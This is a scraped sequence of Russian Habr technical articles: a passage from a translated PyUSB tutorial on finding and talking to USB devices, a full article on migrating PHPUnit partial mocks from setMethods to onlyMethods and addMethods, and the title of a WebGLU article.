if usb.core.find(bDeviceClass=7) is None:
raise ValueError('No printer found')
```
7 — это код для класса принтеров в соответствии со спецификацией USB. О, постойте, что если я хочу пронумеровать все имеющиеся принтеры? Без проблем:
```
# это тоже ещё не всё...
printers = usb.core.find(find_all=True, bDeviceClass=7)
# Python 2, Python 3, быть или не быть
import sys
sys.stdout.write('There are ' + len(printers) + ' in the system\n.')
```
Что случилось? Что ж, время для небольшого объяснения… у find есть параметр, который называется find\_all и по-умолчанию имеет значение False. Когда он имеет ложное значение [[1]](#prim), find будет возвращать первое устройство, которое подходит под указанные критерии (скоро об этом поговорим). Если Вы передадите параметру *истинное* значение, find вместо этого возвратит список из всех устройств подходящих по критериям. Вот и всё! Просто, не правда ли?
Мы закончили? Нет! Я ещё не всё рассказал: многие устройства на самом деле ставят свою информацию о классе в Interface [Descriptor](http://www.beyondlogic.org/usbnutshell/usb5.htm) вместо Device [Descriptor](http://www.beyondlogic.org/usbnutshell/usb5.htm). Так что, чтобы по-настоящему найти все принтеры подключенные к системе, нам нужно будет перебрать все конфигурации, а также все интерфейсы и проверить — выставлено ли у одного из интерфейсов в bInterfaceClass значение 7. Если Вы [программист](https://ru.wikipedia.org/wiki/%D0%9B%D0%B5%D0%BD%D1%8C) как и я Вы можете задаться вопросом: есть ли путь полегче с помощью которого это можно реализовать. Ответ: да, он есть. Для начала давайте посмотрим на готовый код нахождения всех подключенных принтеров:
```
import usb.core
import usb.util
import sys
class find_class(object):
def __init__(self, class_):
self._class = class_
def __call__(self, device):
# для начала, проверим устройство
if device.bDeviceClass == self._class:
return True
# Ок, переберем все устройства, чтобы найти
# интерфейс, который подходит нашему классу
for cfg in device:
# find_descriptor: что это?
intf = usb.util.find_descriptor(
cfg,
bInterfaceClass=self._class
)
if intf is not None:
return True
return False
printers = usb.core.find(find_all=1, custom_match=find_class(7))
```
Параметр custom\_match принимает любой вызываемый объект, который получает объект устройства. Он должен возвращать истинное значение для подходящего устройства и ложное — для неподходящего. Вы также можете скомбинировать custom\_match с полями устройства, если захотите:
```
# найти все принтеры, которые принадлежат нашему поставщику:
printers = usb.core.find(find_all=1, custom_match=find_class(7), idVendor=0xfffe)
```
Здесь нас интересуют принтеры поставщика 0xfffe.
### Опиши себя
Ок, мы нашли наше устройство, но перед тем как с ним взаимодействовать, нам хотелось бы узнать больше о нём. Ну Вы знаете, конфигурации, интерфейсы, конечные точки, типы потоков данных…
Если у Вас есть устройство, Вы можете получить доступ к любому полю дескриптора устройства как к свойствам объекта:
```
>>> dev.bLength
>>> dev.bNumConfigurations
>>> dev.bDeviceClass
>>> # ...
```
Для доступа к имеющимся конфигурациям в устройстве, Вы можете итерировать устройство:
```
for cfg in dev:
sys.stdout.write(str(cfg.bConfigurationValue) + '\n')
```
Таким же образом Вы можете итерировать конфигурацию для доступа к интерфейсам, а также итерировать интерфейсы для доступа к их контрольным точкам. У каждого типа объекта есть поля соответствующего дескриптора как атрибуты. Взглянем на пример:
```
for cfg in dev:
sys.stdout.write(str(cfg.bConfigurationValue) + '\n')
for intf in cfg:
sys.stdout.write('\t' + \
str(intf.bInterfaceNumber) + \
',' + \
str(intf.bAlternateSetting) + \
'\n')
for ep in intf:
sys.stdout.write('\t\t' + \
str(ep.bEndpointAddress) + \
'\n')
```
Вы также можете использовать индексы для произвольного доступа к дескрипторам, как здесь:
```
>>> # получаем доступ ко второй конфигурации
>>> cfg = dev[1]
>>> # получаем доступ к первому интерфейсу
>>> intf = cfg[(0,0)]
>>> # третья контрольная точка
>>> ep = intf[2]
```
Как вы можете увидеть индексы отсчитываются с 0. Но постойте! Есть что-то странное в том, как я получаю доступ к интерфейсу… Да, Вы правы, индекс для Configuration принимает ряд из двух значений, из которых первый — это индекс Interface'а, а второй — альтернативная настройка. В общем, чтобы получить доступ к первому интерфейсу, но со второй настройкой, мы напишем cfg[(0,1)].
Теперь время научиться мощному способу поиска дескрипторов — полезной функции find\_descriptor. Мы уже видели её в примере поиска принтеров. find\_descriptor работает практически также как и find, с двумя исключениями:
* find\_descriptor получает как свой первый параметр исходный дискриптор, который Вы будете искать.
* В нем нет параметра backend [[2]](#prim).
К примеру, если у нас есть дескриптор конфигурации cfg, и мы хотим найти все альтернативные настройки интерфейса 1, мы сделаем так:
```
import usb.util
alt = usb.util.find_descriptor(cfg, find_all=True, bInterfaceNumber=1)
```
Заметьте, что find\_descriptor находится в модуле usb.util. Он также принимает описанный ранее параметр custom\_match.
**Имеем дело с множественными идентичными устройствами**
Иногда у Вас может быть два идентичных устройства подсоединенных к компьютеру. Как Вы можете различать их? Объекты Device идут с двумя дополнительными атрибутами, которые не являются частью спецификации USB, но очень полезны: атрибуты bus и address. Прежде всего, стоит сказать, что эти атрибуты идут от бэкенда, а бэкенд может и не поддерживать их — в этом случае они выставлены на None. Тем не менее эти атрибуты представляют номер и адрес шины устройства и, как Вы могли уже догадаться, могут быть использованы для того, чтобы различать два устройства с одинаковыми значениями атрибутов idVendor и idProduct.
### Как я должен работать?
Устройства USB после подсоединения должны конфигурироваться с помощью нескольких стандартных запросов. Когда я начал изучать спецификацию [USB](http://www.usb.org/), я был обескуражен дексрипторами, конфигурациями, интерфейсами, альтернативными настройками, типами передачи и всем этим… И что самое худшее — Вы не можете просто игнорировать их: устройство не работает без установки конфигурации, даже если оно одно! PyUSB пытается сделать Вашу жизнь настолько проще, насколько это возможно. К примеру, после получения Вашего объекта устройства, первым делом, перед тем как взаимодействовать с ним, нужно отправить запрос set\_configuration. Параметр конфигурации для этого запроса, который Вас интересует — bConfigurationValue. У большинства устройств есть не более одной конфигурации, а отслеживание значения конфигурации для использования раздражает (хотя большинство кода, который я видел просто жестко кодировали это). Следовательно, в PyUSB, Вы можете просто отправить запрос set\_configuration без аргументов. В этом случае он установит первую найденную конфигурацию (если у Вашего устройства она всего одна, Вам вообще не надо беспокоиться о значении конфигурации). К примеру, представим, что у Вас устройство с одним декриптором конфигурации, а его поле bConfigurationValue равно 5 [[3]](#prim), последующие запросы будут работать одинаково:
```
>>> dev.set_configuration(5)
# или
>>> dev.set_configuration() # мы предполагаем, что конфигурация 5 - первая
# или
>>> cfg = util.find_descriptor(dev, bConfigurationValue=5)
>>> cfg.set()
# или
>>> cfg = util.find_descriptor(dev, bConfigurationValue=5)
>>> dev.set_configuration(cfg)
```
Вау! Вы можете использовать объект Configuration как параметр для set\_configuration! Да, также у него есть метод set для конфигурации самого себя в текущую конфигурацию.
Другая опция, которую Вам нужно или не нужно будет настроить — опция смены интерфейсов. Каждое устройство может иметь только одну активированную конфигурацию в один момент, и у каждой конфигурации может быть больше чем один интерфейс, а Вы можете использовать все интерфейсы в одно и то же время. Вам лучше понять эту концепцию, если Вы думаете о интерфейсе как о логическом устройстве. К примеру, давайте представим многофункциональный принтер, который в одно и то же время и принтер, и сканер. Чтобы не усложнять (или по крайней мере делать настолько просто насколько возможно), давайте будем считать, что у него есть всего одна конфигурация. Т.к. у нас есть принтер и сканер у конфигурации есть 2 интерфейса: один для принтера и один для сканера. Устройство с более чем одним интерфейсом называется композитным устройством. Когда Вы подключаете Ваш многофункциональный принтер к Вашему компьютеру, Операционная Система загрузит два разных драйвера: один для каждого «логического» периферического устройства, которое у Вас есть [[4]](#prim).
Что насчёт альтернытивных настроек интерфейса? Хорошо, что Вы спросили. У интерфейса есть один или более альтернытивных настроек. Интерфейс у которого только одна альтернативная настройка рассматривается как не имеющий альтернативных настроек [[5]](#prim). Альтернативные настройки для интерфейсов как конфигурации для устройств, то есть на каждый интерфейс у Вас может быть только одна активная альтернативная настройка. К примеру, спецификация USB говорит о том, что у устройства не может быть изохронной контрольной точки в его основной альтернативной настройке [[6]](#prim), так что потоковое устройство должно иметь как минимум две альтернативные настройки, со второй настройкой, имеющей изохронную контрольную точку. Но, в отличии от конфигураций, интерфейсы только с одной альтернативной настройкой не нуждается в настройке [[7]](#prim). Вы выбираете альтернативную настройку интерфейса с помощью функции set\_interface\_altsetting:
```
>>> dev.set_interface_altsetting(interface = 0, alternate_setting = 0)
```
**Предупреждение**
Спецификация USB говорит, что устройству позволяется возвращать ошибку в случае, если оно получает запрос SET\_INTERFACE к интерфейсу у которого нет дополнительных альтернативных настроек. Так что, если Вы не уверены в том, что интерфейс имеет более одной альтернативной настройки или в том, что он принимает запрос SET\_INTERFACE, наиболее безопасным методом будет вызвать set\_interface\_altsetting внутри блока try-except, как здесь:
```
try:
dev.set_interface_altsetting(...)
except USBError:
pass
```
Вы также можете использовать объект Interface как параметр функции, параметры interface и alternate\_setting автоматически наследуются от полей bInterfaceNumber и bAlternateSetting. Пример:
```
>>> intf = find_descriptor(...)
>>> dev.set_interface_altsetting(intf)
>>> intf.set_altsetting() # Воу! У интерфейса тоже есть метод для этого
```
**Предупреждение**
Объект Interface должен принадлежать активному дескриптору конфигурации.
### Поговори со мной, милая
А теперь для нас настало время понять как взаимодействовать c USB устройствами. У USB есть четыре типа потоков данных: массовый (bulk transfer), прерывающийся (interrupt transfer), изохронный (isochronous transfer) и управляющий (control transfer). Я не планирую объяснять назначение каждого потока и различия между ними. Поэтому я предполагаю, что у Вас есть по крайней мере базовые знания о потоках данных USB.
Управляющий поток данных — единственный поток, структура которого описана в спецификации, остальные просто отправляют и получают необработанные данные с точки зрения USB. Поэтому у Вас есть различные функции для работы с управляющими потоками, а остальные потоки обрабатываются одними и теми же функциями.
Вы можете обратиться к управляющему потоку данных посредством метода ctrl\_transfer. Он используется как для исходящих (OUT) так и для входящих (IN) потоков. Направление потока определяет параметр bmRequestType.
Параметры ctrl\_transfer практически совпадают со структурой управляющего запроса. Далее следует пример того, как организовывать управляющий поток данных [[8]](#prim):
```
>>> msg = 'test'
>>> assert dev.ctrl_transfer(0x40, CTRL_LOOPBACK_WRITE, 0, 0, msg) == len(msg)
>>> ret = dev.ctrl_transfer(0xC0, CTRL_LOOPBACK_READ, 0, 0, len(msg))
>>> sret = ''.join([chr(x) for x in ret])
>>> assert sret == msg
```
В этом примере предполагается, что наше устройство включает в себя два пользовательских управляющих запроса, которые действуют как loopback pipe. То, что Вы пишете с сообщением CTRL\_LOOPBACK\_WRITE, Вы можете прочитать с сообщением CTRL\_LOOPBACK\_READ.
Первые четыре параметра — bmRequestType, bmRequest, wValue и wIndex — поля стандартной структуры управляющего потока. Пятый параметр — это либо пересылаемые данные для исходящего потока данных или кол-во считываемых данных во входящем потоке. Пересылаемые данные могут быть любым типом последовательности, которая может быть подана в качестве параметра на вход метода \_\_init\_\_ для [массива](http://docs.python.org/library/array.html). Если нет пересылаемых данных параметр должен иметь значение None (или 0 в случае входящего потока данных). Есть ещё один опциональный параметр указывающий таймаут операции. Если Вы не передаете его, будет использоваться таймаут по-умолчанию (больше об этом дальше). В исходящем потоке данных возвращаемое значение — это количество байтов, реально посылаемое устройству. Во входящем потоке возвращаемое значение — [массива](http://docs.python.org/library/array.html) со считанными данными.
Для других потоков Вы можете использовать методы write и read, соответственно, чтобы записывать и считывать данные. Вам не нужно беспокоиться о типе потока — он автоматически определяется по адресу контрольной точки. Вот наш пример loopback при условии, что у нас есть loopback pipe в контрольной точке 1:
```
>>> msg = 'test'
>>> assert len(dev.write(1, msg, 100)) == len(msg)
>>> ret = dev.read(0x81, len(msg), 100)
>>> sret = ''.join([chr(x) for x in ret])
>>> assert sret == msg
```
Первый и третий параметры одинаковы для обоих методов — это адрес контрольной точки и таймаут, соответственно. Второй параметр — пересылаемые данные (write) или количество байтов для считывания (read). Возвращенными данными будут либо экземпляр объекта [массива](http://docs.python.org/library/array.html) для метода read, либо количество записанных байтов для метода write.
С бета 2 версии вместо количества байтов, Вы можете передать для read или ctrl\_transfer объект [массива](http://docs.python.org/library/array.html), в который данные будут считываться. В этом случае, количество байтов для считывания будет длиной массива умноженной на значение array.itemsize.
В ctrl\_transfer, параметр timeout опционален. Когда timeout опущено, используется свойство Device.default\_timeout как операционный таймаут.
### Контролируй себя
Кроме функций потоков данных модуль usb.control предоставляет функции, которые включают в себя стандартные управляющие запросы USB, а в модуле usb.util есть удобная функция get\_string специально выводящая дескрипторы строк.
Дополнительные темы
-------------------
### За каждой великой абстракцией стоит великая реализация
Раньше был только [libusb](http://www.libusb.info). Потом пришел libusb 1.0 и у нас были libusb 0.1 и 1.0. После этого мы создали [OpenUSB](https://sourceforge.net/p/openusb/wiki/Home/) и сейчас мы живем в [Вавилонской Башне](https://ru.wikipedia.org/wiki/%D0%92%D0%B0%D0%B2%D0%B8%D0%BB%D0%BE%D0%BD%D1%81%D0%BA%D0%B0%D1%8F_%D0%B1%D0%B0%D1%88%D0%BD%D1%8F) USB-библиотек [[9]](#prim). Как PyUSB справляется с этим? Что ж, PyUSB — демократичная библиотека, Вы можете выбрать какую хотите бибилиотеку. На самом деле Вы можете написать вашу собственную библиотеку USB с нуля и сказать PyUSB использовать её.
Функция find имеет ещё один параметр, о котором я Вам не рассказал. Это параметр backend. Если Вы его не передаете — будет использоваться один из встроенных бэкендов. Бэкенд — это объект унаследованный от usb.backend.IBackend, ответственный за введение специфического для операционной системы хлама USB. Как Вы могли догадаться, встроенные libusb 0.1, libusb 1.0 и OpenUSB — бэкенды.
Вы можете написать свой собственный бэкенд и использовать его. Просто наследуйте от IBackend и включите необходимые методы. Вам может понадобиться посмотреть в документацию usb.backend, чтобы понять как это делается.
### Не будьте эгоистичны
У Python есть то, что мы называем *автоматическое управление памятью*. Это значит, что виртуальная машина будет решать когда выгрузить объекты из памяти. Под капотом PyUSB управляет всеми низко-уровневыми ресурсами, с которыми необходимо работать (утверждение интерфейса, регулировки устройства, и т.д.) и большинству пользователей не нужно беспокоиться об этом. Но, из-за непредопределенной природы автоматического уничтожения объектов Python'ом, пользователи не могут предсказать когда выделенные ресурсы будут освобождены. Некоторые приложения нуждаются в том, чтобы выделить и освободить ресурсы детерминировано. Для таких приложений модуль usb.util предоставляет функции для взаимодействия с управлением ресурсами.
Если Вы хотите запрашивать и освобождать интерфейсы вручную, Вы можете использовать функции claim\_interface и release\_interface. Функция claim\_interface будет запрашивать указанный интерфейс, если устройство до сих пор этого не сделало. Если устройство уже запросило интерфейс, она ничего не делает. Так же release\_interface будет освобождать указанный интерфейс, если он запрошен. Если интерфейс не запрошен, она ничего не делает. Вы можете использовать ручное запрашивание интерфейсов, чтобы решить описанную в документации [libusb](http://www.libusb.info) [проблему выбора конфигурации](http://libusb.sourceforge.net/api-1.0/caveats.html).
Если Вы хотите освободить все ресурсы выделенные объектом устройства (включая запрошенные интерфейсы), Вы можете использовать функцию dispose\_resources. Она освобождает все выделенные ресурсы и переводит объект устройства (но не в аппаратные средства устройства самого по себе) в то состояние, в котором оно было возвращено после использования функции find.
### Определение библиотек вручную
В общем, бэкенд — это обертка над общей библиотекой, которая реализует API для доступа к USB. По-умолчанию, бэкенд использует [ctypes](http://docs.python.org/library/ctypes.html) функцию [find\_library()](http://docs.python.org/3/library/ctypes.html#finding-shared-libraries). На Linux и других Unix-подобных Операционных Системах, find\_library пытается запустить внешние программы (такие как */sbin/ldconfig*, *gcc* и *objdump*) в целях нахождения файла библиотеки.
В системах в которых эти программы отсутствуют и/или кэш библиотек отключен, эта функция не может использоваться. Чтобы преодолеть ограничения, PyUSB позволяет Вам подавать пользовательскую функцию find\_library() на бэкенд.
Примером такого сценария будет:
```
>>> import usb.core
>>> import usb.backend.libusb1
>>>
>>> backend = usb.backend.libusb1.get_backend(find_library=lambda x: "/usr/lib/libusb-1.0.so")
>>> dev = usb.core.find(..., backend=backend)
```
Заметьте, что find\_library — аргумент для функции get\_backend(), в котором Вы поставляете функцию, которая ответственная за поиск правильной библиотеки для бэкенда.
### Правила старой школы
Если Вы пишите приложение используя старые API PyUSB (0.что-то-там), Вы можете спрашивать себя, нужно ли Вам обновить Ваш код, чтобы использовать новый API. Что ж, Вам стоит это сделать, но это не обязательно. PyUSB 1.0 идет вместе с модулем совместимости usb.legacy. Он включает в себя старое API на основе нового API. «Что ж, должен ли я просто заменить мою строчку import usb на import usb.legacy as usb чтобы заставить моё приложение работать?», спросите Вы. Ответ — да, это будет работать, но это не обязательно. Если Вы запустите свое приложение неизмененным оно будет работать, потому что строчка import usb импортирует все публичные символы из usb.legacy. Если Вы сталкиваетесь с проблемой — скорее всего Вы нашли баг.
### Помогите мне, пожалуйста
Если Вас нужна помощь, **не пишите мне на e-mail**, для этого есть список рассылки. Инструкции по подписке могут быть найдены на сайте [PyUSB](http://pyusb.github.io/pyusb/).
[[1]](#orig1) Когда я пишу True или False (с большой буквы), я имею ввиду соответственные значения языка Python. А когда я говорю истинно (true) или ложно (false), я имею ввиду любое выражение Python, которое расценивается как истинное или ложное. *(Данное сходство имело место в оригинале и помогает понять понятия истинного и ложного в переводе. — **Прим.пер.**)*:
[[2]](#orig2) Смотрите конкретную документацию бэкенда.
[[3]](#orig3) Спецификация USB не навязывает какое-либо определенное значение для значения конфигурации. То же истинно для номеров интерфейса и альтернативной настройки.
[[4]](#orig4) На самом деле всё немного сложнее, но этого просто объяснения для нас хватит.
[[5]](#orig5) Я знаю, что это звучит странно.
[[6]](#orig6) Это потому, что если нету пропускной способности для изохронных потоков данных во время конфигурации устройства, оно может быть успешно пронумеровано.
[[7]](#orig7) Этого не происходит для конфигурации, потому что устройству разрешено быть в несконфигурированном состоянии.
[[8]](#orig8) В PyUSB управляющие потоки данных обращаются к контрольной точке 0. Очень очень очень редко устройство имеет альтернативную управляющую контрольную точку (Я никогда не встречал такого устройства).
[[9]](#orig9) Это просто шутка, не принимайте это всерьез. Большой выбор лучше, чем без выбора. | https://habr.com/ru/post/430528/ | null | ru | null |
# Работа с частичными моками в PHPUnit 10
В этом году должен выйти PHPUnit 10 (релиз планировался на 2 апреля 2021 года, но был отложен). Если посмотреть на [список изменений](https://github.com/sebastianbergmann/phpunit/blob/master/ChangeLog-10.0.md), то бросается в глаза большое количество удалений устаревшего кода. Одним из таких изменений является удаление метода `MockBuilder::setMethods()`, который активно использовался при работе с частичными моками. Этот метод не рекомендуется использовать с версии 8.0, но тем не менее он описан в документации без каких-либо альтернатив и упоминания о его нежелательности. Если почитать исходники PHPUnit, issues и пул-реквесты на GitHub, то станет понятно, почему так и какие есть альтернативы.
В этой статье я освещу этот нюанс для тех, кто не обращал на него внимания раньше: расскажу про частичные моки, проблемы, возникающие при работе с setMethods, пути их решения, а также затрону вопрос миграции тестов на PHPUnit 10.
### Что такое частичные моки?
У программного кода, который мы пишем, чаще всего есть какие-то зависимости.
При написании юнит-тестов мы изолируем эти зависимости, подставляя вместо реальных объектов какие-то заглушки с заранее известным состоянием. Это позволяет проверять работу только одного кусочка кода в один момент времени. Эти заглушки чаще всего реализуются с помощью моков.
Про название "мок"У этого термина в русском языке есть несколько обозначений: мок, mock-объект, подставной объект, имитация. Я буду пользоваться калькой английского слова mock (мок).
Суть мока заключается в том, что вместо объекта-зависимости вы используете специальный объект, в котором заменены все методы оригинального класса. Для такого объекта можно сконфигурировать результаты, возвращаемые методами, а также добавить проверки на наличие вызовов методов.
PHPUnit содержит [встроенный механизм для работы с моками](https://phpunit.readthedocs.io/ru/latest/test-doubles.html). Одной из его возможностей является создание так называемых частичных моков (partial mocks), когда исходное поведение класса заменяется не полностью, а только для отдельных методов. Такие моки очень удобно использовать, когда вам нужно написать тест, который будет проверять работу конкретного метода и в процессе своей работы вызывать другие методы (которые вы проверять не хотите).
Приведу небольшой пример того, где могут быть полезны такие моки.
Вот код базового класса, реализующий паттерн «команда»:
```
abstract class AbstractCommand
{
/**
* @throws \PhpUnitMockDemo\CommandException
* @return void
*/
abstract protected function execute(): void;
public function run(): bool
{
$success = true;
try {
$this->execute();
} catch (\Exception $e) {
$success = false;
$this->logException($e);
}
return $success;
}
protected function logException(\Exception $e)
{
// Logging
}
}
```
Реальное поведение команды задаётся в методе execute классов-наследников, а метод `run()` добавляет общее для всех команд поведение (в данном случае делает код exception safe и логирует ошибки).
Если мы хотим написать тест для метода `run`, мы можем воспользоваться частичными моками, функционал которых предоставляет класс `PHPUnit\Framework\MockObject\MockBuilder`, доступ к которому предоставляется через вспомогательные методы класса TestCase (в примере это `getMockBuilder` и `createPartialMock`):
```
use PHPUnit\Framework\TestCase;
class AbstractCommandTest extends TestCase
{
public function testRunOnSuccess()
{
// Arrange
$command = $this->getMockBuilder(AbstractCommand::class)
->setMethods(['execute', 'logException'])
->getMock();
$command->expects($this->once())->method('execute');
$command->expects($this->never())->method('logException');
// Act
$result = $command->run();
// Assert
$this->assertTrue($result, "True result is expected in the success case");
}
public function testRunOnFailure()
{
// Arrange
$runException = new CommandException();
// It's an analogue of $this->getMockBuilder(...)->setMethods([...])->getMock()
$command = $this->createPartialMock(AbstractCommand::class, ['execute', 'logException']);
$command->expects($this->once())
->method('execute')
->will($this->throwException($runException));
$command->expects($this->once())
->method('logException')
->with($runException);
// Act
$result = $command->run();
// Assert
$this->assertFalse($result, "False result is expected in the failure case");
}
}
```
[Исходный код](https://github.com/pryazhnikov/phpunit-mock-examples/blob/article_example1/tests/AbstractCommandTest.php), [результаты прогона тестов](https://github.com/pryazhnikov/phpunit-mock-examples/actions/runs/761025993)
В методе `testRunOnSuccess` с помощью `MockBuilder::setMethods()` мы задаём список методов оригинального класса, которые мы заменяем (вызовы которых хотим проверить или результаты которых нужно зафиксировать). Все остальные методы сохраняют свою реализацию из оригинального класса `AbstractCommand` (и их логику можно тестировать). В `testRunOnFailure` через метод `createPartialMock` мы делаем то же самое, но явно.
В этом примере всё достаточно просто: мы задаём мокаемые методы и в тесте проверяем их вызов или невызов через `expects`. В реальном коде бывают и другие случаи, которые требуют переопределения методов:
* подготовка или освобождение каких-то ресурсов (например, соединения с базой данных);
* внешние обращения, которые замедляют тесты и загрязняют окружение (отправка запросов к базе данных, чтение из кеша или запись в него и т. д.);
* отправка какой-то отладочной информации или статистики.
Часто для таких случаев проверок вызова просто нет (поскольку они не всегда нужны и делают тесты хрупкими при изменениях кода).
Кроме переопределения существующих методов, `MockBulder::setMethods()` позволяет добавлять в класс мока новые методы, которых нет в оригинальном классе. Это может быть полезно при использовании в тестируемом коде «магического» метода `__call`.
Возьмём в качестве примера класс [\Predis\Client](https://github.com/predis/predis/blob/main/src/Client.php). Он использует метод `__call` для обработки передаваемых клиенту команд. При этом во внешнем коде это выглядит как вызов конкретного метода и кажется естественным переопределить в создаваемом моке этот вызываемый в коде метод, а не переопределять `__call`, вдаваясь в детали реализации.
Пример:
```
public function testRedisHandle()
{
if (!class_exists('Redis')) {
$this->markTestSkipped('The redis ext is required to run this test');
}
$redis = $this->createPartialMock('Redis', ['rPush']);
// Redis uses rPush
$redis->expects($this->once())
->method('rPush')
->with('key', 'test');
$record = $this->getRecord(Logger::WARNING, 'test', ['data' => new \stdClass, 'foo' => 34]);
$handler = new RedisHandler($redis, 'key');
$handler->setFormatter(new LineFormatter("%message%"));
$handler->handle($record);
}
```
Источник: [тест RedisHandlerTest из monolog 2.2.0](https://github.com/Seldaek/monolog/blob/2.2.0/tests/Monolog/Handler/RedisHandlerTest.php)
### Какие проблемы возникают при использовании setMethods?
Двойственное поведение может приводить к проблемам.
Если в моках есть переопределённые методы без expectations, то при их переименовании или удалении тест продолжает проходить (хотя метода уже нет и в его добавлении к моку нет смысла).
Небольшая демонстрация. Давайте добавим в код нашего класса команды измерение времени, которое потребовалось для её выполнения:
```
--- a/src/AbstractCommand.php
+++ b/src/AbstractCommand.php
@@ -13,6 +13,7 @@ abstract class AbstractCommand
public function run(): bool
{
+ $this->timerStart();
$success = true;
try {
$this->execute();
@@ -21,6 +22,7 @@ abstract class AbstractCommand
$this->logException($e);
}
+ $this->timerStop();
return $success;
}
@@ -28,4 +30,14 @@ abstract class AbstractCommand
{
// Logging
}
+
+ protected function timerStart()
+ {
+ // Timer implementation
+ }
+
+ protected function timerStop()
+ {
+ // Timer implementation
+ }
}
```
[Исходный код](https://github.com/pryazhnikov/phpunit-mock-examples/blob/article_example2/src/AbstractCommand.php)
В код тестов добавим в мок новые методы, но не будем проверять вызовы через *expectations*:
```
--- a/tests/AbstractCommandTest.php
+++ b/tests/AbstractCommandTest.php
@@ -11,7 +11,7 @@ class AbstractCommandTest extends TestCase
{
// Arrange
$command = $this->getMockBuilder(AbstractCommand::class)
- ->setMethods(['execute', 'logException'])
+ ->setMethods(['execute', 'logException', 'timerStart', 'timerStopt']) // timerStopt is a typo
->getMock();
$command->expects($this->once())->method('execute');
$command->expects($this->never())->method('logException');
```
[Исходный код](https://github.com/pryazhnikov/phpunit-mock-examples/blob/article_example2/tests/AbstractCommandTest.php), [результаты прогона тестов](https://github.com/pryazhnikov/phpunit-mock-examples/actions/runs/761045115)
Если прогнать этот тест в PHPUnit версий 8.5 или 9.5, то он успешно пройдёт без каких-то предупреждений:
```
PHPUnit 9.5.0 by Sebastian Bergmann and contributors.
. 1 / 1 (100%)
Time: 00:00.233, Memory: 6.00 MB
OK (1 test, 2 assertions)
```
Конечно, это совсем простой пример, в который несложно добавить expectations для новых методов. В реальном коде всё может быть сложнее, и мне не раз приходилось натыкаться на несуществующие методы в моках.
> Ещё сложнее отслеживать подобные проблемы при использовании `MockBuilder::setMethodsExcept`, который переопределяет все методы класса, кроме заданных.
>
>
Как эта проблема решена в PHPUnit 10?
-------------------------------------
Начало решению этой проблемы «молчаливого» переопределения несуществующих методов было положено в 2019 году в [пул-реквесте #3687](https://github.com/sebastianbergmann/phpunit/pull/3687), который вошёл в релиз PHPUnit 8.
В MockBuilder появились два новых метода — `onlyMethods()` и `addMethods()` — которые делят ответственность `setMethods()` на части. `onlyMethods()` может только заменять методы, существующие в оригинальном классе, а `addMethods()` — только добавлять новые (которых в оригинальном классе нет).
В том же PHPUnit 8 `setMethods` был помечен устаревшим и появилось предупреждение при передаче несуществующих методов в `TestCase::createPartialMock()`.
Если взять предыдущий пример с некорректным названием метода и использовать `createPartialMock` вместо вызовов `getMockBuilder(...)->setMethods(...)`, то тест пройдёт, но появится предупреждение о будущем изменении этого поведения:
```
createPartialMock() called with method(s) timerStopt that do not exist
in PhpUnitMockDemo\AbstractCommand. This will not be allowed
in future versions of PHPUnit.
```
К сожалению, это изменение никак не было отражено в документации — там по по-прежнему была описана только работа `setMethods()`, а всё остальное было скрыто в недрах кода и GitHub.
В PHPUnit 10 проблема `setMethods()` решена радикально: `setMethods` и `setMethodsExcept` окончательно удалены. Это означает, что если вы используете их в своих тестах и хотите перейти на новую версию PHPUnit, то вам нужно убрать все использования этих методов и заменить их на `onlyMethods` и `addMethods`.
Как мигрировать частичные моки из старых тестов на PHPUnit 10?
--------------------------------------------------------------
В этой части я дам несколько советов о том, как это можно сделать.
Сразу скажу, что для использования этих советов не обязательно ждать выхода PHPUnit 10 и переходить на него. Всё это можно делать в процессе работы с тестами, которые запускаются в PHPUnit 8 или 9.
#### Везде, где возможно, замените вызовы MockBuilder::setMethods() на onlyMethods()
Это кажется совсем очевидным, но во многих случаях этого будет достаточно. Я рекомендую заменить все вхождения и разбираться с падениями. Частично они могут быть вызваны проблемами, описанными выше (и тогда нужно либо удалить метод из мока, либо использовать его актуальное название), а частично — использованием «магии» в мокаемом классе.
#### Используйте MockBuilder::addMethods() для классов с «магией»
Если метод, который вы хотите переопределить в моке, работает через «магический» метод `__call`, то используйте `MockBuilder::addMethods()`.
Если раньше для классов с «магией» вы использовали `TestCase::createPartialMock()` и это работало, то в PHPUnit 10 это сломается. Теперь createPartialMock умеет заменять только существующие методы мокаемого класса, и нужно заменить использование `createPartialMock` на `getMockBuilder()->addMethods()`.
#### Если вы создаёте моки для внешних библиотек, то изучите их изменения или максимально конкретно задавайте версию
В тестах, использующих моки классов из внешних библиотек, всё может быть сложнее из-за того, что там может меняться версия зависимости. Особенно актуально это, если в CI вы используете lowest версии зависимостей вместе со стабильными.
**Приведу пример** из библиотеки [PhpAmqpLib](https://github.com/php-amqplib/php-amqplib).
Допустим, вам нужен мок для класса `\PhpAmqpLib\Channel\AMQPChannel`.
В версии 2.4 там был метод `__destruct`, который отправлял внешний запрос (и поэтому его стоит замокать).
В версии 2.5 этот метод был удалён и мокать его уже не нужно.
Если в composer.json зависимость прописана подобным образом: `"php-amqplib/php-amqplib": "~2.4"`, то обе версии буду подходить (но моки для них нужны разные) и нужно будет смотреть, какая из них используется.
Решать это можно несколькими способами:
* максимально фиксировать версию библиотеки (например, в приведённом примере можно использовать `~2.4.0` — и тогда разница будет только в patch-версиях);
* завязываться на версию библиотеки или наличие метода (но это плохой способ, так как для этого нужно внимательно изучать изменения кода всех используемых библиотек, да и очень похоже это на какой-то хак);
* использовать для классов из внешних библиотек полные моки, а не частичные (но это не всегда возможно).
Заключение
----------
Частичные моки — очень полезный инструмент для написания модульных тестов. К сожалению, разобраться с их изменениями в документации PHPUnit совсем не просто. Надеюсь, что этой статьёй мне удалось как-то это исправить и сделать вашу миграцию на новую версию немного проще.
### См. также
* [Раздел «Тестовые двойники» документации PHPUnit](https://phpunit.readthedocs.io/ru/latest/test-doubles.html)
* [Pull request "Add onlyMethods + addMethods and soft deprecate setMethods"](https://github.com/sebastianbergmann/phpunit/pull/3687)
* [Pull request "Remove MockBuilder::setMethods() and MockBuilder::setMethodsExcept()"](https://github.com/sebastianbergmann/phpunit/issues/3769)
* [Глава «Unit-тестирование» книги «Архитектура сложных веб-приложений. С примерами на Laravel»](https://github.com/adelf/acwa_book_ru/blob/master/manuscript/8-unit-test.md) | https://habr.com/ru/post/553782/ | null | ru | null |
# WebGLU: упрощаем работу с WebGL
